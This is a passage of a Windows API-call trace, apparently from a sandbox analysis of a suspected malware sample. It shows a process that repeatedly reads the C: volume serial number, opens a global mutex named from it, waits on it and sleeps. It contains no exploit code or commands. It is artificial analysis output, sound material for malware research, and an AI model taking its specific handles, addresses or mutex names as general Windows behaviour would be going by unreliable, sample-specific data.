Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0251.536] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0251.536] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0251.536] CloseHandle (hObject=0x1b8) returned 1 [0251.536] GetProcessHeap () returned 0x550000 [0251.536] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0251.536] GetProcessHeap () returned 0x550000 [0251.536] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0251.536] Sleep (dwMilliseconds=0x3e8) [0253.153] GetProcessHeap () returned 0x550000 [0253.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0253.153] GetProcessHeap () returned 0x550000 [0253.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0253.153] GetProcessHeap () returned 0x550000 [0253.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0253.153] GetProcessHeap () returned 0x550000 [0253.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0253.153] GetProcessHeap () returned 0x550000 [0253.153] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0253.153] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0253.153] GetProcessHeap () returned 0x550000 [0253.153] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0253.153] GetProcessHeap () returned 0x550000 [0253.153] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0253.153] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0253.154] GetProcessHeap () returned 0x550000 [0253.154] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0253.154] GetProcessHeap () returned 0x550000 [0253.154] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0253.154] GetProcessHeap () returned 0x550000 [0253.154] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0253.154] GetProcessHeap () returned 0x550000 [0253.154] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0253.154] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x17c [0253.154] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0253.154] CloseHandle (hObject=0x17c) returned 1 [0253.154] GetProcessHeap () returned 0x550000 [0253.154] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0253.154] GetProcessHeap () returned 0x550000 [0253.154] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0253.155] Sleep (dwMilliseconds=0x3e8) [0254.165] GetProcessHeap () returned 0x550000 [0254.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0254.165] GetProcessHeap () returned 0x550000 [0254.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0254.165] GetProcessHeap () returned 0x550000 [0254.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0254.165] GetProcessHeap () returned 0x550000 [0254.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0254.165] GetProcessHeap () returned 0x550000 [0254.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0254.165] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0254.165] GetProcessHeap () returned 0x550000 [0254.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0254.165] GetProcessHeap () returned 0x550000 [0254.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0254.165] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0254.166] GetProcessHeap () returned 0x550000 [0254.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0254.166] GetProcessHeap () returned 0x550000 [0254.166] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0254.166] GetProcessHeap () returned 0x550000 [0254.166] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0254.166] GetProcessHeap () returned 0x550000 [0254.166] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0254.166] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c4 [0254.166] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0254.166] CloseHandle (hObject=0x1c4) returned 1 [0254.166] GetProcessHeap () returned 0x550000 [0254.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0254.166] GetProcessHeap () returned 0x550000 [0254.166] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0254.166] Sleep (dwMilliseconds=0x3e8) [0255.242] GetProcessHeap () returned 0x550000 [0255.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0255.242] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0255.242] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0255.242] GetProcessHeap () returned 0x550000 [0255.242] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0255.242] GetProcessHeap () returned 0x550000 [0255.243] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0255.243] GetProcessHeap () returned 0x550000 [0255.243] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0255.243] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x100 [0255.243] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x102 [0255.243] CloseHandle (hObject=0x100) returned 1 [0255.243] GetProcessHeap () returned 0x550000 [0255.243] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0255.243] GetProcessHeap () returned 0x550000 [0255.243] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0255.243] Sleep (dwMilliseconds=0x3e8) [0257.065] GetProcessHeap () returned 0x550000 [0257.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0257.065] GetProcessHeap () returned 0x550000 [0257.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0257.065] GetProcessHeap () returned 0x550000 [0257.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0257.065] GetProcessHeap () returned 0x550000 [0257.065] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0257.065] GetProcessHeap () returned 0x550000 [0257.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0257.065] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0257.065] GetProcessHeap () returned 0x550000 [0257.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0257.065] GetProcessHeap () returned 0x550000 [0257.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0257.065] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0257.066] GetProcessHeap () returned 0x550000 [0257.066] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0257.066] GetProcessHeap () returned 0x550000 [0257.066] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0257.066] GetProcessHeap () returned 0x550000 [0257.066] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0257.066] GetProcessHeap () returned 0x550000 [0257.066] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0257.066] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0257.066] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0257.066] CloseHandle (hObject=0x1c0) returned 1 [0257.067] GetProcessHeap () returned 0x550000 [0257.067] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0257.067] GetProcessHeap () returned 0x550000 [0257.067] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0257.067] Sleep (dwMilliseconds=0x3e8) [0258.206] GetProcessHeap () returned 0x550000 [0258.206] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0258.206] GetProcessHeap () returned 0x550000 [0258.206] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0258.206] GetProcessHeap () returned 0x550000 [0258.206] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0258.206] GetProcessHeap () returned 0x550000 [0258.206] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0258.207] GetProcessHeap () returned 0x550000 [0258.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0258.207] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0258.207] GetProcessHeap () returned 0x550000 [0258.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0258.207] GetProcessHeap () returned 0x550000 [0258.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0258.207] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0258.207] GetProcessHeap () returned 0x550000 [0258.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0258.207] GetProcessHeap () returned 0x550000 [0258.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0258.208] GetProcessHeap () returned 0x550000 [0258.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0258.208] GetProcessHeap () returned 0x550000 [0258.208] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb10 [0258.208] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0258.208] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0258.208] CloseHandle (hObject=0x1b8) returned 1 [0258.208] GetProcessHeap () returned 0x550000 [0258.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0258.208] GetProcessHeap () returned 0x550000 [0258.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb10 | out: hHeap=0x550000) returned 1 [0258.208] Sleep (dwMilliseconds=0x3e8) [0259.219] GetProcessHeap () returned 0x550000 [0259.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0259.219] GetProcessHeap () returned 0x550000 [0259.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0259.219] GetProcessHeap () returned 0x550000 [0259.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0259.219] GetProcessHeap () returned 0x550000 [0259.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0259.219] GetProcessHeap () returned 0x550000 [0259.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0259.219] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0259.219] GetProcessHeap () returned 0x550000 [0259.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0259.219] GetProcessHeap () returned 0x550000 [0259.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0259.220] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0259.220] GetProcessHeap () returned 0x550000 [0259.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0259.220] GetProcessHeap () returned 0x550000 [0259.220] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0259.220] GetProcessHeap () returned 0x550000 [0259.220] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0259.220] GetProcessHeap () returned 0x550000 [0259.220] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0259.220] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x100 [0259.220] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x102 [0259.220] CloseHandle (hObject=0x100) returned 1 [0259.220] GetProcessHeap () returned 0x550000 [0259.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0259.220] GetProcessHeap () returned 0x550000 [0259.221] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0259.221] Sleep (dwMilliseconds=0x3e8) [0260.265] GetProcessHeap () returned 0x550000 [0260.265] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0260.265] GetProcessHeap () returned 0x550000 [0260.265] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0260.265] GetProcessHeap () returned 0x550000 [0260.265] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0260.265] GetProcessHeap () returned 0x550000 [0260.265] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0260.265] GetProcessHeap () returned 0x550000 [0260.265] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0260.265] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0260.265] GetProcessHeap () returned 0x550000 [0260.265] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0260.265] GetProcessHeap () returned 0x550000 [0260.265] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0260.265] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0260.266] GetProcessHeap () returned 0x550000 [0260.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0260.266] GetProcessHeap () returned 0x550000 [0260.266] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0260.266] GetProcessHeap () returned 0x550000 [0260.266] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0260.266] GetProcessHeap () returned 0x550000 [0260.266] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0260.266] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xcc [0260.266] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0x0) returned 0x102 [0260.266] CloseHandle (hObject=0xcc) returned 1 [0260.266] GetProcessHeap () returned 0x550000 [0260.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0260.266] GetProcessHeap () returned 0x550000 [0260.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0260.266] Sleep (dwMilliseconds=0x3e8) [0261.328] GetProcessHeap () returned 0x550000 [0261.329] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0261.329] GetProcessHeap () returned 0x550000 [0261.329] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0261.329] GetProcessHeap () returned 0x550000 [0261.329] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0261.329] GetProcessHeap () returned 0x550000 [0261.329] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0261.329] GetProcessHeap () returned 0x550000 [0261.329] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0261.329] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0261.329] GetProcessHeap () returned 0x550000 [0261.329] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0261.329] GetProcessHeap () returned 0x550000 [0261.329] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0261.329] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0261.330] GetProcessHeap () returned 0x550000 [0261.330] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0261.330] GetProcessHeap () returned 0x550000 [0261.330] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0261.330] GetProcessHeap () returned 0x550000 [0261.330] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0261.330] GetProcessHeap () returned 0x550000 [0261.330] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0261.330] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xc0 [0261.330] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0x0) returned 0x102 [0261.330] CloseHandle (hObject=0xc0) returned 1 [0261.330] GetProcessHeap () returned 0x550000 [0261.330] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0261.330] GetProcessHeap () returned 0x550000 [0261.330] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0261.330] Sleep (dwMilliseconds=0x3e8) [0262.345] GetProcessHeap () returned 0x550000 [0262.345] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0262.345] GetProcessHeap () returned 0x550000 [0262.345] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0262.345] GetProcessHeap () returned 0x550000 [0262.346] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0262.346] GetProcessHeap () returned 0x550000 [0262.346] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0262.346] GetProcessHeap () returned 0x550000 [0262.346] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0262.346] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0262.346] GetProcessHeap () returned 0x550000 [0262.346] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0262.346] GetProcessHeap () returned 0x550000 [0262.346] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0262.346] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0262.346] GetProcessHeap () returned 0x550000 [0262.346] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0262.346] GetProcessHeap () returned 0x550000 [0262.346] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0262.347] GetProcessHeap () returned 0x550000 [0262.347] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0262.347] GetProcessHeap () returned 0x550000 [0262.347] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0262.347] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xc0 [0262.347] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0x0) returned 0x102 [0262.347] CloseHandle (hObject=0xc0) returned 1 [0262.347] GetProcessHeap () returned 0x550000 [0262.347] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0262.347] GetProcessHeap () returned 0x550000 [0262.347] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0262.347] Sleep (dwMilliseconds=0x3e8) [0263.559] GetProcessHeap () returned 0x550000 [0263.559] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0263.559] GetProcessHeap () returned 0x550000 [0263.560] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0263.560] GetProcessHeap () returned 0x550000 [0263.560] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0263.560] GetProcessHeap () returned 0x550000 [0263.560] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0263.560] GetProcessHeap () returned 0x550000 [0263.560] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0263.560] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0263.560] GetProcessHeap () returned 0x550000 [0263.560] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0263.560] GetProcessHeap () returned 0x550000 